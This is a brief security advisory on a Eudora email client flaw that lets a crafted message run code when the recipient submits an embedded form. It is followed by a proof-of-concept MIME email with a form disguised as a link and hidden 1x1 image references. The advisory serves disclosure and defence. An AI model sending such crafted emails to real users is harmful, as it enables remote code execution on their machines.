source: http://www.securityfocus.com/bid/2796/info

Eudora is an email program for the Windows platform. Eudora contains a vulnerability which may make it possible for an attacker to excecute arbitrary code on a remote system even if 'allow executables in HTML content' is disabled, if the 'Use Microsoft viewer' option is enabled.

The attack can be carried out if the recipient of a maliciously crafted email 'submits' a form in the message.

This may lead to remote attackers gaining access to victim hosts.

** Eudora 5.1.1 is also stated as being vulnerable to this issue. The problem stems from Eudora not treating files with a '.MHTML' extension with caution. 

MIME-Version: 1.0
To: 
Subject: HEY!DORA
Content-Type: multipart/related;
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
 <font color=#400040>To view the demo, please go here:</font><FORM action="cid:master.malware.com" method=post target=new><button  type=submit style="width:130pt;height:20pt;cursor:hand;background-color:transparent;border:0pt"><font color=#0000ff><u>http://www.malware.com</u></font></button> </FORM>
<img SRC="cid:master.malware.com" height=1 width=1><img SRC="cid:http://www.malware.com" height=1 width=1></html>

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